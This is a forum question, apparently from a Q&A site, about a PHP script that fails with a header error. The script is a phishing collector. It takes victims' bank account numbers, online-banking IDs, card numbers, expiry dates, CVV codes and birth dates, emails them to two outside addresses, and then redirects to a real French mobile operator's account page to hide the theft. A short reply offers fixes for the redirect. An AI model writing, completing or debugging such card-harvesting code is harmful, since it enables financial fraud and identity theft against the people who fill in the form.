Php邮件脚本返回错误说标题已经使用[重复]

This question already has an answer here:

<?php 
if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ 
";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

What can the issue be? I want it to work like, when the email has been sent, redirect the page to https://mobile.free.fr/moncompte/

Could you please help me with an solution?

</div>

make sure not to echo anything on the page before the header is called. also add die(); after your header call